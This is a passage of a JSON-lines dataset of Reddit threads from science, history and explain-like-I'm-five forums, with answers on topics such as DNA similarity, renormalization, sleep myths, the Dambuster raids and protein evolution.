an expensive card to a new one with 0% APR for a year. Do this multiple times until your debt is free for 12 months, then attack it with gusto. Student Loans are also an expensive debt these days (though mine is 2.25% left over from the early 2000's, so I pay just over minimum on that). And car loans can be expensive too. In the future, pay cash for a car from your savings account instead of taking out a loan unless you can get a really good deal on the money... like, less than 4% (again, I have a car loan for my wife's car for 3.5%, so not too worried about it). Paying cash for a car takes planning, so if you think you'll want a car in 4-5 years, start putting away $200-250 a month NOW. Treat it like a car note except you still have access to the money and get interest on it.\n\nThese are my very simple methods. I don't do crazy stuff with stock trading or anything like that and I don't have to watch my money like a hawk or worry about the next emergency because I have enough liquid funds to deal with it. For your future, slow and steady wins the race, and for your now, having enough funds to deal with emergencies will cause you to have far less stress in your life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gatherlittlebylittle.com/2008/08/envelope-budget/"], [], [], [], ["http://www.mint.com", "mint.com"], ["http://www.gatherlittlebylittle.com/2008/08/envelope-budget/"], [], [], [], ["http://www.mint.com", "mint.com"]]}
{"q_id": "9oqqow", "title": "what does the claim that we, humans, share 99% of our dna with chimpanzees actually mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9oqqow/eli5_what_does_the_claim_that_we_humans_share_99/", "answers": {"a_id": ["e7vzjnm", "e7vzplh", "e7vzyvf", "e7w1ec0", "e7wcml0", "e7wd93h", "e7weod6", "e7whz8b"], "score": [120, 3, 9, 10, 26, 2, 3, 2], "text": ["What is *meant* by the claim depends a lot on who is saying it. Some people feel this has philosophical or scientific significance that others don\u2019t agree with.\n\nBut the claim, on the surface, is true, or close to true.\n\nA vast majority of genes are used to carry out basic cellular functions like generating power (converting glucose and oxygen to ATP), cell division to create new cells... even \u201cspecializations\u201d like the creation of muscle fibers or electrochemical signaling proteins in nerve cells may be similar between all mammals, or even all vertebrates.\n\nThe remaining 1% can account for a huge amount of variation, though. This doesn\u2019t mean humans aren\u2019t \u201cmeaningfully\u201d or significantly different from chimpanzees. All the similarity just means we share the basic biochemical structure of our bodies, and even methods of reproduction, etc. ", "The structure and composition of complex organisms such as humans, chimpanzees, rabbits, birds, crocodiles, tulips, etc. are derived from the ordering of their DNA. This DNA is composed of four basic building blocks which are ordered in a chain which ultimately is used to build the organisms.\n\nChimpanzees have 99% of their DNA being identical to that of humans. The same building blocks in the same places.", "So, the operational part of DNA is 4 nitrogen based nucleotides, called  adenine (A), thymine (T), guanine (G) and cytosine (C). The way this works is that for each \"rung\" on the DNA \"ladder\", one side has one of the 4 nucleotides, and the other side has another one of the 4 nucleotides; A always pairs with T, and G always pairs with C, so if you look down one side you can derive the other side.\n\nThe order that these are found in a strand of DNA tell an organism how to grow and what traits to develop.\n\nWhen it comes to chimpanzees and humans, if you were to take a single complete genome sequence of a chimp and compare it to a single complete genome sequence of a human, you'd find that for every 100 nucleotides (on average), 99 of the nucleotides are the same (ie: same location on the same side, starting from the top of the sequence). This probably does not hold across all of the code; there are probably some sections where nothing is the same, and then other sections that are basically copy-pasted, but by and large it gets out to an overall 99% similarity.\n\nNote: I'm not a biologist but this is how it was explained to me, so there may be some inaccuracies on some more technical aspects, but this is the general gist of it.", "Most genes define the basic building blocks of life. Think of it being like bricks or two-by-fours in a house. A few genes describe how the pieces go together. Think of that being like the blueprints for a house.\n\nSo the lesson is, most forms of life are put together from the same fundamental building blocks. That's why most of their genes are the same. It's just how they fit the pieces together that's different. That's the small fraction of the genes that are different.", "Humans also share like 95% dna with pufferfish. The way my Biopsychology professor explained it is: how much do we really have different? We have skin, 2 eyes, mouth, skin, the same organs (for example human liver and fish liver are different but they\u2019re both livers, they both do the same thing.) our organs are made out of the same cells all our nerves communicate with with our brain in the same way. If you think about it the difference between a human and a chimp is like we\u2019re bigger, less hairy, less muscular, and smarter. That\u2019s not really a whole lot considering all the similarities we share. ", "Not a lot. DNA codes for proteins and proteins do all the work in your cells. A huge number of them are for housekeeping and structure, which most things share in common. If you look at the structure of a dandelion and a gorilla cell, there's more in common than difference.", "ELI5:  Think of DNA like a blueprint.\n\nThe blueprint starts with things like different types of cells, internal organs, circulatory system, and up and up.\n\nThe blueprint for Humans and Chimps are very similar.  But then again, so are the blueprints for humans and bears, or fruit bats or fish.  The DNA of humans even has a lot in common with plants.", "Just putting it out there that humans have ~3 billion base pairs of DNA so 1% is still ~3 million base pairs, which accounts for a huge amount of variation.  What it means is for people who know more than me to decide. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "5foipl", "title": "What are some organizations to donate to that support science?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5foipl/what_are_some_organizations_to_donate_to_that/", "answers": {"a_id": ["dalueua", "dalvuv9", "dalzkgj", "dam5vz9"], "score": [4, 2, 3, 2], "text": ["Interesting question.\n\nMost people donate to large, well-known charities (e.g., The British Heart Foundation). This money is typically put into a general pool, and then divvied up annually or biannually, based on whatever grant-applications they receive. As an individual you have no control over where exactly your money goes, but with any reputable body you should be able to see precisely what they have funded over the last few years, and so you can judge for yourself if it sounds worthwhile. Some smaller charities (for example, Fight For Sight, in the UK) attempt to match individual funders with specific projects, which I think is a nice model, though I assume this is typically only done for larger donations.\n\nThe other issue is the overheads of the charity -- nobody wants their money just to be funding charity execs and telemarketers. Fortunately, depending on where you are based, there are usually websites (e.g., _URL_0_ ) that detail whether a funding body is legit, and what proportion of the money donated gets passed on.\n\nYou might be able to get more concrete suggestions if you are able to narrow your search down to a particular field (e.g., medical research, theoretical physics, political science) and/or country.", "Charities often tend to focus on cures for specific diseases rather than basic science, since curing heart disease is a much more concrete goal than, say, understanding the mechanism of transcription. But if you believe, like I do, that basic research generates more advancements in the long term, it is a little harder to find charities to donate too. There are a few good ones for basic science, like Howard Hughes or Burrows Wellcome, but they don't tend to solicit small donations at all. One exception I know of is the Scripps Research Institute. They fund some great basic science, including several Nobel Prize winners. And the Gates Foundation has chosen to support them, so you have some confidence your donation to Scripps isn't going to be eaten up by \"administrative overhead\". You can donate via [credit card here](_URL_0_). \n\n", "There is an organisation called effective altruism based around the idea of using reason and evidence to do the most good with your donation.\n\nThey have a cause prioritization tool on their website, _URL_1_\n\nIf you want a really in-depth discussion of doing the most amount of good for the world with each dollar, this is an excellent discussion between Sam Harris and William MacAskill \n_URL_0_", "Not the right sub. Please post to /r/asksciencediscussion instead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.givewell.org/"], ["https://support.scripps.edu/"], ["https://www.youtube.com/watch?v=PxStuUxaZxQ", "www.effectivealtruism.org"], []]}
{"q_id": "1ki19v", "title": "Why do physicists use re-normalization?", "selftext": "Doesn't the need for it imply that the mathematical models are incorrect? Do the rest of the mathematics remain consistent when the technique is taken as consistent? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ki19v/why_do_physicists_use_renormalization/", "answers": {"a_id": ["cbp94ql", "cbpf3vu"], "score": [3, 2], "text": ["A short answer is that we use renormalization because it gives us a description of nature that is consistent with what we observe.\n\nA longer answer would go something like this: The naive approach to quantum field theory introduces infinities.  Renormalization is a mathematically consistent and specific technique that produces finite results for observable quantities in quantum field theory.  This is important: once we introduce renormalization as part of the computational method, everything is completely specified and self-consistent.\n\nDoes renormalization itself imply that the mathematical models are incorrect?  No, though it might imply that the kind of model we have to describe nature isn't the kind you were expecting.  But that is a separate question; that could be a consequence of the model not being the final story, or it could be that one's expectations were wrong.", "Physicists felt a lot more comfortable about renormalization after the work of Ken Wilson on the renormalization group.  Basically what he says is that our description of nature using a given quantum field theory, such as the standard model, should only be thought of as an effective description which is valid only for processes of sufficiently low energy.  The infinities in quantum field theory typically arise when we extrapolate the theory to arbitrarily high energies, but this is neither justified nor necessary, and there is a perfectly well-defined procedure of throwing away all this extra baggage without sacrificing any predictive power when it comes to the lower energy processes.  In this point of view, however, there is still the question of what a complete theory, valid to arbitrarily high energies, would look like, and that is something physicists are still working on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "12k41o", "title": "A lot of cold and flu medicines (e.g. Lemsip) contain caffeine. What are the benefits of including caffeine? and what are the physiological involved?  ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12k41o/a_lot_of_cold_and_flu_medicines_eg_lemsip_contain/", "answers": {"a_id": ["c6vq78c", "c6vrza8"], "score": [14, 9], "text": ["Primarily, it combats drowsiness in medicines that boast that they are non-drowsy.", "Caffeine has a potentiating effect on painkiller and paracetamol in particular. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/10963764"]]}
{"q_id": "309dsz", "title": "why people are using dm ( direct message ) rather than pm ( private message ) all the sudden", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/309dsz/eli5_why_people_are_using_dm_direct_message/", "answers": {"a_id": ["cpqakf6"], "score": [4], "text": ["Sometimes they are different. A forum might have DMs saved somewhere on your profile, but not PMs. Most of the time they're used interchangeably. Twitter calls them DMs, though I don't know why they chose that over PM. Maybe because you can DM an entire group? Or maybe, as Anthony Weiner found out, DMs aren't always so private."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1nfsam", "title": "Cooling from expanding a metal bar?", "selftext": "   If we heat a gas, we can get mechanical work out of its expansion.  If we do work by expanding a gas, it will absorb heat.  If we heat, say a steel bar, it will grow in length, and we can get mechanical work out of it.  I assume that if we mechanically expand the same steel bar, that it will get cooler and absorb heat.  But I've never seen this described, nor have I seen any experimental results which shows this result.  Could someone point me in the direction of experimental data that shows this?  Now there will probably be some complications in trying to expand a metal bar, since it will want to stretch like taffy, getting narrower in the middle, and not wanting to change in volume.  And of course the forces will have to be very high.  There is the [rubber band refrigerator](_URL_2_) that seems like it is semi-related, but in reverse (i.e. the contracting phase is cooler).  Things like the [Joule Thomson effect](_URL_1_) may play a role in the whole enterprise with internal energy and whatnot.\n\nMaybe I'm not using the best search terms.  And whatever I could find appears to be locked behind a [paywall](_URL_0_).    Also, for an ideal gas, we have the ideal gas law, PV=NkT.  And you can start adding non-idealities back into the relation to come up with things like the Van der Walls equation, etc..  What exists out there for equations of state for solids, relating temperature, pressure, and volume?  Google comes up with some generic equations, like ...\n\nVm = C1 + C2 T + C3 T2 - C4 p - C5 p T\n\n ...but with no mention of what the empirical constants might be for particular materials.   If anyone has any links to mechanical heat engines or heat pumps using solids (instead of gases), I'm interested in reading them.  \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nfsam/cooling_from_expanding_a_metal_bar/", "answers": {"a_id": ["cci7v9w", "cci8631"], "score": [5, 2], "text": ["Yes, if you expand a metal bar it will absorb energy on contracting just like a gas does. But solids have much greater tensile strength than gases, and the change in volume will be very small, and thus the amount of pV-work is negligibly small compared to a gas. (For an ideal gas _all_ work on it is pV-work) Realistically, and for a normal material, you won't get any energy out of mechanically expanding a piece of metal and letting it contract, because the vast majority of energy that you're expending on expanding it is going into the material's internal degrees of freedom (e.g. the vibrational motion of the atoms), not the expansion in pV-work terms. Degrees of freedom an ideal gas _doesn't have_ at all, and which are at small for a real gas. \n\nThere are no equations of state for solids, because there are no simple ways of describing all those internal degrees of freedom. To get the thermodynamic properties, you need to work from a full partition function, which essentially requires knowing where every atom in the material is and how they're bonded. For engineering applications they use empirical relations pretty much exclusively. Just measuring the thing is far easier.\n\n", "Well, not really.  If you stretch a metal bar, you're not expanding it in the same way that a gas expands.  For an (ideal) gas, there are no intermolecular interactions, so all the work that occurs when expanding the gas against pressure comes from the kinetic energy of the gas.  \n\nOn top of that, when a gas expands, everything gets farther apart.  When you stretch a piece of metal, an atom doesn't really move with respect to its nearest neighbors; the individual crystal grains slip past each other to form a new shape.  \n\nFor a solid piece of metal, there are very strong interatomic forces keeping everything together.  It's hard to imagine how you would \"expand\" a bar of metal, but it would entail breaking apart all of the metal atoms, which would take an incredible amount of energy.  \n\nSo, I guess, if you did manage to magically expand a piece of metal, it would get unbelievably cold very quickly as you sever every bond in it at once.\n\nedit:  This expansion-work relationship you're referring to is folded into the heat capacity constants for materials, Cp and Cv, which apply to constant pressure and constant volume situations.  They are significantly different for gases, but virtually identical for solids and liquids."]}, "title_urls": [], "selftext_urls": ["http://iopscience.iop.org/0953-8984/1/11/002", "http://en.wikipedia.org/wiki/Joule%E2%80%93Thomson_effect", "http://www.thenakedscientists.com/HTML/content/kitchenscience/exp/make-a-rubber-fridge/"], "answers_urls": [[], []]}
{"q_id": "mr100", "title": "\"One Hour's Sleep Before Midnight Is Worth Two After.\" Myth or science?", "selftext": "If there is truth to this saying:\n\nWhy midnight and not 11 or 10 PM?\n\nWhat is it that is twice as much worth?\n\nEdit: Could this idea be based upon the circadian rhythm and hormones like cortisol and melatonin? Or, as streem84 wrote in his very interesting answer, about the sleep's composition of non-REM and REM? Or both?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mr100/one_hours_sleep_before_midnight_is_worth_two/", "answers": {"a_id": ["c335trf", "c338c3r", "c339ul7", "c335trf", "c338c3r", "c339ul7"], "score": [51, 7, 4, 51, 7, 4], "text": ["[This](_URL_1_) is a great website from Harvard about sleep, check it out.\n\nThis is definitely a myth.  The human sleep cycle consists of [four stages](_URL_0_) divided into two types, non-rapid eye movement and rapid eye movement sleep.  Together these four stages make a full cycle, which normally people experience multiple times per sleep.  The average is 90 minutes, but this varies person to person (mine, for instance, lasts about 40 minutes).\n\nAlso, remember that the system of time-keeping we use is arbitrary.  Like the inch or year it's something we developed to measure \"time\"; what we measure as \"12pm\" every night is a slightly different point in the day/night cycle.  Our internal clock, the circadian rhythm, has no way of knowing its 12pm or 1am.  Your body *can* tell how dark it is with light sensitive cells in the eye's retina, however.", "This is an [English proverb at least 350 years old](_URL_0_).  It relays the same general sentiment, as \"Early to bed, early to rise, makes a man healthy, wealthy and wise.\"\n\nSo does this make sense?  Is getting to bed early generally a good life strategy?\n\nSearching the archives  of the journal \"Sleep\" comes up with a [study of Australian children](_URL_1_).  The finding was that, \"Late bedtimes and late wake up times are associated with an unfavorable activity and weight status profile, independent of age, sex, household income, geographical remoteness, and sleep duration.\"\n\nSo yes, scientifically speaking, you're probably better off if you get to bed early, even if you sleep the same number of hours.", "I have been taught that most HGH is secreted before or around midnight, and more is secreted in a sleeping individual than an awake one; this is worth noting if you're an athlete and need to recover from training. Unfortunately my sources are rather poor, hoping a professional can confirm this:\n\n_URL_1_\n\n_URL_0_\n\n", "[This](_URL_1_) is a great website from Harvard about sleep, check it out.\n\nThis is definitely a myth.  The human sleep cycle consists of [four stages](_URL_0_) divided into two types, non-rapid eye movement and rapid eye movement sleep.  Together these four stages make a full cycle, which normally people experience multiple times per sleep.  The average is 90 minutes, but this varies person to person (mine, for instance, lasts about 40 minutes).\n\nAlso, remember that the system of time-keeping we use is arbitrary.  Like the inch or year it's something we developed to measure \"time\"; what we measure as \"12pm\" every night is a slightly different point in the day/night cycle.  Our internal clock, the circadian rhythm, has no way of knowing its 12pm or 1am.  Your body *can* tell how dark it is with light sensitive cells in the eye's retina, however.", "This is an [English proverb at least 350 years old](_URL_0_).  It relays the same general sentiment, as \"Early to bed, early to rise, makes a man healthy, wealthy and wise.\"\n\nSo does this make sense?  Is getting to bed early generally a good life strategy?\n\nSearching the archives  of the journal \"Sleep\" comes up with a [study of Australian children](_URL_1_).  The finding was that, \"Late bedtimes and late wake up times are associated with an unfavorable activity and weight status profile, independent of age, sex, household income, geographical remoteness, and sleep duration.\"\n\nSo yes, scientifically speaking, you're probably better off if you get to bed early, even if you sleep the same number of hours.", "I have been taught that most HGH is secreted before or around midnight, and more is secreted in a sleeping individual than an awake one; this is worth noting if you're an athlete and need to recover from training. Unfortunately my sources are rather poor, hoping a professional can confirm this:\n\n_URL_1_\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sleep#Sleep_stages", "http://healthysleep.med.harvard.edu/healthy/science"], ["http://www.answers.com/topic/one-hour-s-sleep-before-midnight-is-worth-two-after", "http://www.journalsleep.org/ViewAbstract.aspx?pid=28265"], ["http://medical-dictionary.thefreedictionary.com/Growth+Hormone+Tests", "http://www.drmyhill.co.uk/wiki/Human_Growth_Hormone_(HGH)"], ["http://en.wikipedia.org/wiki/Sleep#Sleep_stages", "http://healthysleep.med.harvard.edu/healthy/science"], ["http://www.answers.com/topic/one-hour-s-sleep-before-midnight-is-worth-two-after", "http://www.journalsleep.org/ViewAbstract.aspx?pid=28265"], ["http://medical-dictionary.thefreedictionary.com/Growth+Hormone+Tests", "http://www.drmyhill.co.uk/wiki/Human_Growth_Hormone_(HGH)"]]}
{"q_id": "bpxg4s", "title": "What happened to the hypothesized Ninth Planet that everyone was talking about years ago?", "selftext": "A couple of years ago scientists hypothesized there was a ninth planet, but lately I haven't heard anything about it.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bpxg4s/what_happened_to_the_hypothesized_ninth_planet/", "answers": {"a_id": ["enywdq1"], "score": [37], "text": ["[They are still looking for it.](_URL_1_)\n\nOccasionally a new Kuiper belt object is discovered whose orbital parameters strengthen the hypothesis. Then there is the question: are KBOs with orbits that strengthen the hypothesis simply easier to detect than those that don't? Even accounting for biases like that, the orbits still suggest a large distant planet, rather than just coincidental alignment. But, sadly, still no observation.\n\n[Here is a summary](_URL_0_) of the evidence and motivation, from the initial proposers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://arxiv.org/pdf/1902.10103.pdf", "https://iopscience.iop.org/article/10.3847/1538-3881/aaae70/meta"]]}
{"q_id": "d7fvuv", "title": "Why were the Dambuster raids never repeated?", "selftext": " If I understand it correctly, the RAF went to a lot of effort developing the equipment and training a specialist crew for what seems to have been a successful mission but afterwards made no attempt to hit any of Germany's other dams.  Why is that?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d7fvuv/why_were_the_dambuster_raids_never_repeated/", "answers": {"a_id": ["f15h5kt"], "score": [4], "text": ["Though Operation Chastise, the dams raid, succeeded in breaching two dams, it was at the cost of 8 of the 19 aircraft involved. The next major operation undertaken by 617 Squadron was a low-level attack on the Dortmund-Ems canal and suffered even heavier proportional casualties, five of eight aircraft were lost (plus one the previous day on an aborted raid) and the canal suffered no damage. Such low-level attacks were clearly unsustainable, especially without the element of surprise - the defences of German damns were immediately reinforced after the raids, for the rest of the war 32 flak batteries and four and a half balloon batteries were devoted to protecting dams. 617 instead switched to precision bombing from high altitude using the Stabilised Automatic Bomb Sight (SABS) and enormous Tallboy and Grand Slam bombs on targets including the battleship *Tirpitz* and, a year after the catastrophic low-level attack, the Dortmund-Ems canal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2p63so", "title": "why are children such assholes?", "selftext": "Recently read this from one of the top posts of all time:\n\n > Buried comment, but here goes. Not life ruining but makes me feel like shit every time I think about it. As I've told Reddit before, I have a blind brother. When we were young, I used to get so frustrated at all the extra attention he received and how I had to be more responsible with my sibling than my peers. So, when my brother and I would go play, go to the store, or just generally go anywhere without adults, I would abandon him somewhere unfamiliar to him. Then, I would stand off quietly and watch the anxiety set in as he tried to figure out where he was and what was going on.\nAlso, I was really intelligent as a child and knew that was my ticket to attention. When I would \"help\" my brother with his homework, I would teach him all the wrong answers, so that I could continue being the smarter sibling. Today, my brother is my best friend. He goes to college and lives by himself. He's become one of the most intelligent men I've ever met. I'm trying to make it up to him now by being the best big sister ever, but I still feel so guilty at how I found him to be a burden when I was a kid.\n\nOne of the cruellest things i have ever read, and while this may be a specific case, why is cruelty in children so prevalent?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p63so/eli5_why_are_children_such_assholes/", "answers": {"a_id": ["cmtr0ue", "cmtt1ny"], "score": [4, 9], "text": ["No experience.\n\nNo taught, or yet ingrained knowledge, moals, logic, customs, etc...\n\nWhat is left is our primitive nature. Aggresive mammals that we are.", "They physically haven't developed the part of the brain that allows sympathy. They are physiologically incapable of understanding from other people's points of view. This area of the brain continues to develop until about age 25."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9nv0sa", "title": "why do grass football fields at high schools slope down from the middle toward the sidelines?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9nv0sa/eli5_why_do_grass_football_fields_at_high_schools/", "answers": {"a_id": ["e7p6321", "e7p64hh", "e7p673q", "e7p6r45", "e7p9lq9"], "score": [9, 3, 3, 3, 2], "text": ["So that rainwater runs off and doesn\u2019t pool in the middle. I can\u2019t recall the technical name for it.", "I believe it is to control runoff from rain and watering. A perfectly level field would probsboy not be ideal. Heavy rain would probably cause pooling and any damage to the turf would then cause a depression. More pooling would then happen causing more damage. Roads and ship decks have a similar gentle dome profile instead of being dead level. ", "Drainage.  The alternative would be to have drainage channels underneath, which is more costly.", "It is to handle rain. The slope will transport water of the field to keep it dry.\n\nAny small depression on a flat field would result in that water was collect there and could be bad both for the people on the field and for the grass and might result in mud. So a you build a slope to transport water away and reduce the risk of it collecting in some location as a small depression would be drained,\n\nRoad are build the same way and often have a 1-2% slope to drain water. But they are not as wide so it is harder to see.", "All football fields do no matter the level, and it\u2019s done to promote drainage of rain water, sprinkler water... don\u2019t want giant mud puddles in the field of play if at all possible to prevent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "21ogxx", "title": "By request: How could proteins evolve despite the odds?", "selftext": "Recently I was having a discussion with someone about this, and they wanted to see the answers it would get if it were posted here.\n\nProteins, as most of us are probably aware, are made up of amino acids, as _URL_0_ states. These need to be arranged in very specific combinations for a protein to have any function at all.\n\nSo, suppose a protein was going to form through random mutation. Since there are 20 amino acids, there'd be a 1/20 chance for that mutation to give the right amino acid at each position in the protein. \n\nSo to get the right amino acid at two positions in the protein, the odds would be (1/20)^2 .\n\nSo let's assume the protein is 100 amino acids long. (Though there are many that are far longer, [such as this one](_URL_1_)). That means the odds of getting the right amino acid in all 100 positions would be (1/20)^100 - lower than the odds of selecting a single atom out of all of them in the entire visible universe\n\nSince according to _URL_2_, \"The number of atoms in the entire observable universe is estimated to be within the range of 10^78 to 10^82 \".\n\nThey wanted me to ask here: given these odds, how do new proteins evolve? Is there a mistake in the calculations?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21ogxx/by_request_how_could_proteins_evolve_despite_the/", "answers": {"a_id": ["cgf01fx", "cgf08gj", "cgf0mke", "cgf0nh3", "cgfhk7a", "cgfjm8g"], "score": [15, 7, 4, 47, 2, 2], "text": ["This would be a great argument if amino acids randomly assembled, however, they do not, so the entire calculation is suspect. Also, amino acids aren't randomly substituted in mutations, and the population of amino acids is not evenly distributed (there are more common ones and less common ones.)  \n\nAmino acids are placed in an order by a scaffold of RNA, which is in turn organized by DNA. There is some evidence that that RNA was the first in the organization of life, (but that's on-going research, and hard to say for sure.)  It's the random changes in the DNA that result in protein evolution that is conserved over generations.  \n\nFor DNA, you're only talking about 5 (maybe 8 depending on how you count things) choices, so that's far less. Also, mutations occur at a higher rate than you suspect, it's just that our biochemistry has some effective correction mechanisms that keep things in check.\n\n\n\n ", "The mistake is not in the calculations but rather what we consider the \"right\" proteins. In hindsight, we think of the proteins we have as the only right ones that could support life because they are so complex, as you say. But what makes them \"right\" is that they fit together in specific ways, not their precise structures. In an alternate world, you could have proteins that look totally different but fit together in similar patterns to trigger similar biological processes. Or in another alternate world, totally different proteins and patterns evolve. The resulting life could look like ours or completely different. And those beings in that alternate world would also consider those ones to have evolved correctly or \"rightly.\"\n\nSo yes, it is highly unlikely that our set of proteins (and amino acids for that matter) evolved in precisely the way it did. But that doesn't mean life wouldn't exist. It would just be different.\n\nOne last thought on the calculations: assuming that each amino acid would be arranged randomly isn't quite right. These are chemical bonds and a given amino acid \"prefers\" to bind with some AAs over others based on the strength and ease of that bond. (Which is based on electrons in the atoms, basically.) I don't know how exactly that would change your calculations, but it would. (NB: This chemical bonding strength and ease determines pretty much all the molecules and chemical reactions in our biology, and likely the evolution of the first life on our planet!]", "The problem does not lie in your calculations. Instead the problem lies within the background of your question. Protein evolution occurs when the DNA is mutated. The DNA is converted to mRNA which codes for the specific ordering of the amino acids. (the amino acids don't randomly form a chain) Often, a gene will be dupilicated in the genome and the organism have more than one copy of the gene. This gene duplication will give cells/organisms access to two functional copies of the gene. One of the copies of the gene can undergo random mutatgenesis without causing a loss of the functional protein to the cell. Most of the random mutatgenesis that does occur is a dead end; however, sometimes and rarely a new functional gene will evolve. ", "There are several reasons for your argument being incorrect. First of all, the probabilistic argument makes sense only if you tried all possible protein sequences at random until you get the right one. But that would mean that all possible proteins have no value at all but exactly the right one. That's not how it works -if it were so, evolution simply wouldn't work.\n\nWhat happens instead is that, in the pool of possible protein sequences, there is a sizable proportion that somehow does the required job. The vast majority of them will do that quite badly, but still better than nothing. These ones will be selected, and will in turn mutate. Among the mutants, some will work better than others - and be selected. And so on. You therefore have a continuous path between \"useless random sequence of aminoacids\" and \"superbly good enzyme\". Natural selection is what allows you to find this path. \n\nLet's see how it works. Imagine you start with six random letters and you want to form the word REDDIT. The odds of forming it by chance are 1/(26^6), or roughly 1/309.000.000. However, let's play a game instead. We start with six random characters:\n\n0: fixzii\n\nNow, we modifly the string of characters. We generate mutants. We keep the mutants which are closer to our target (\"reddit\") and discard the rest (for example, they have letters that are closer, in the alphabet, to the corresponding ones in the target). That is what happens:\n    \n    1: tdk iw\n    2: egskip\n    3: gljoio\n    4: dzxmim\n    5: kxheiq\n    6: yyskid\n    7: slvvip\n    8: bpnwid\n    9: lyvyiz\n    10: tjfciv\n    11: n vwis\n    12: emalik\n    13: tleeic\n    14: gughim\n    15: yjjzio\n    16: cyyuip\n    17: qpoiii\n    18: ipzhir\n    19: pxu ic\n    20: srofie\n    21: daweim\n    22: dzjiio\n    23: cggmi \n    24: mqvuit\n    25: ivhpit\n    26: jmuxit\n    27: uptvit\n    28: ubocit\n    29: kybgit\n    30: dsuxit\n    31: wukzit\n    32: hjgtit\n    33: oobwit\n    34: h heit\n    35: zhwoit\n    36: hlleit\n    37: jzpuit\n    38: yflqit\n    39: jagkit\n    40: tldjit\n    41: cndpit\n    42: a duit\n    43: uvdbit\n    44: vpdpit\n    45: nsdbit\n    46: ykddit\n    47: czddit\n    48: tcddit\n    49: gzddit\n    50: ugddit\n    51: ujddit\n    52: fkddit\n    53: pfddit\n    54: bqddit\n    55: muddit\n    56: jdddit\n    57: ynddit\n    58: lbddit\n    59: usddit\n    60: gyddit\n    61: keddit\n    62: beddit\n    63: geddit\n    64: meddit\n    65: feddit\n    66: veddit\n    67: seddit\n    68: teddit\n    69: reddit\n\nIn just 69 steps we evolved a string that had 1 odd out of 300 million to evolve. That's called the [Weasel program](_URL_0_), and it is an extremly simple but illuminating example of evolutionary algorithm.\n\nWe have also good proof that such evolutionary paths are possible. For example, proteins which share just 30% or more of their sequence (or even less) are most probably structurally very similar. ", "True, there are too many different possible proteins to ever try all of them.  That isn't a problem though. \n\nYour question really breaks into two questions.  How do new proteins evolve now (in the context of cellular life) and how did proteins evolve in the first place.  \n\nThe first answer is dealt with in most molecular biology textbooks, but usually not very well.  In simple organisms, you have one copy of every gene.  At some modest frequency, a gene or two may end up duplicated, so now that organism has two copies.  One of those copies can continue to work, doing its normal business in order to keep the cell alive.  The other one doesn't have that constraint--it can \"drift\".  Most current proteins have some function, but they also aren't totally specific.  For example, esterases--proteins that break down esters into an alcohol and a carboxylic acid often will do this reaction with other substrates than their \"natural\" substrates, just at a lower rate.  This extra copy may give an organism a very slight selective advantage (e.g., use a new carbon source slightly faster).  The extra gene does have a burden--it requires resources to be copied, transcribed, and made into protein.  So really, it's got to be a *net* win overall for the gene to be maintained.  Over time, you get mutations in this new gene duplicate.  Most of these are deleterious--experiments show that ~99% of random point mutations are either neutral or worse than the starting point.  But once and a while, a mutation is made that is slightly better.  If it really is better, the organism will \"keep\" it.  Really, this is not a conscious choice--rather organisms with mutations that enhance their fitness will make more progeny.  Neutral mutations can get preserved, just because they aren't worse than where the protein started.  Over time, this type of change happens to both the wt and drifting protein copies.  This explains why Human versions of many proteins are slightly different than other versions (e.g., the fruit fly). \n\nIf minor variations in the protein can give rise to new functions, it helps enable expansion and ultimately results in a gene \"family\" or \"superfamily\".  One of the best examples is a receptor superfamily called GPCRs-these are proteins we use for our sense of smell, sight, and taste, as well as for neurotransmission.  Humans have ~900 GPCRs, they all evolved through this process from a single GPCR found in Yeast over the course of the last 1.5 billion or so years.  \n\nSome proteins are harder to change because their functions are locked in place by virtue of interactions with many cellular pathways.  These really don't change over time--not due to lack of mutations, but due to lack of any of the mutations being functional.  The classic example of this is ubiquitin, which has 3 amino acid changes between yeast and humans.  \n\nIn higher organisms, where the number of generations isn't large enough to give lots and lots of point mutations, its pretty clear that other mechanisms also play an important role.  Most notable, it's clear that recombination events are important.  There, a whole section of a protein can be subbed in or added to another protein (like putting a W12 engine in a VW golf).  This can be good and bad.  Notably, we see this type of \"evolution\" in cells that undergo recombinations giving rise to tumors--e.g., Bcr and Abl kinases can undergo recombination to give rise to a fused, functional, unregulated kinase Bcr-Abl, a weird looking chromosome (Philadelphia chromosome), and aberrant growth of those cells well beyond their limit of their normal senescence.  \n\nAs for how we got \"functional\" proteins in the first place, the key fact to realize is not the total number of possible proteins, but the *likelihood* of getting one that does something useful.  The first enzymes were probably pretty crappy, barely better than the uncatalyzed reactions alone.  They also probably weren't made with all 20 amino 